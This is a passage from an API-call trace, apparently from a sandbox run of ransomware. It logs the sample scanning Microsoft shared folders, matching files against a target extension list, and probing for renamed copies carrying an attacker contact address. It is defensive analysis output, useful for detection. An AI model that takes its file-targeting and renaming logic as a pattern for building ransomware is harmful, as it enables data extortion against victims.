lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0286.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0286.706] lstrlenW (lpString=".doc") returned 4 [0286.706] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString=".docx") returned 5 [0286.706] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0286.706] lstrlenW (lpString=".pdf") returned 4 [0286.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString=".xls") returned 4 [0286.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString=".xlsx") returned 5 [0286.706] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0286.706] lstrlenW (lpString=".ppt") returned 4 [0286.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0286.706] lstrlenW (lpString=".zip") returned 4 [0286.706] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.706] lstrlenW (lpString=".rar") returned 4 [0286.706] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString=".bz2") returned 4 [0286.706] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.706] lstrlenW (lpString=".7z") returned 3 [0286.706] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.707] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2596) returned 1 [0286.707] CloseHandle (hObject=0x109c) returned 1 [0286.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0286.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.707] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2520) returned 1 [0286.707] CloseHandle (hObject=0x109c) returned 1 [0286.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0286.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.708] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2720) returned 1 [0286.708] CloseHandle (hObject=0x109c) returned 1 [0286.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0286.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.709] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=255) returned 1 [0286.709] CloseHandle (hObject=0x109c) returned 1 [0286.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0286.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.710] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1074) returned 1 [0286.710] CloseHandle (hObject=0x109c) returned 1 [0286.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0286.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.711] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=231) returned 1 [0286.711] CloseHandle (hObject=0x109c) returned 1 [0286.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0286.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.711] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=23871) returned 1 [0286.712] CloseHandle (hObject=0x109c) returned 1 [0286.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0286.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.712] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=237) returned 1 [0286.712] CloseHandle (hObject=0x109c) returned 1 [0286.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0286.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.714] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6406) returned 1 [0286.714] CloseHandle (hObject=0x109c) returned 1 [0286.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0286.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.714] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=235) returned 1 [0286.714] CloseHandle (hObject=0x109c) returned 1 [0286.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0286.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.715] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4222) returned 1 [0286.715] CloseHandle (hObject=0x109c) returned 1 [0286.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0286.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.716] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=237) returned 1 [0286.716] CloseHandle (hObject=0x109c) returned 1 [0286.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0286.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.716] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6381) returned 1 [0286.716] CloseHandle (hObject=0x109c) returned 1 [0286.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0286.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.722] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=232) returned 1 [0286.722] CloseHandle (hObject=0x109c) returned 1 [0286.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0286.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.723] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=5115) returned 1 [0286.723] CloseHandle (hObject=0x109c) returned 1 [0286.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0286.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.724] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=233) returned 1 [0286.724] CloseHandle (hObject=0x109c) returned 1 [0286.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0286.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.724] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1920) returned 1 [0286.724] CloseHandle (hObject=0x109c) returned 1 [0286.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0286.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.725] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=237) returned 1 [0286.725] CloseHandle (hObject=0x109c) returned 1 [0286.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0286.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.726] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4734) returned 1 [0286.726] CloseHandle (hObject=0x109c) returned 1 [0286.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0286.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.726] CreateFileW (lpFileName="C:\\Program Files\\Common 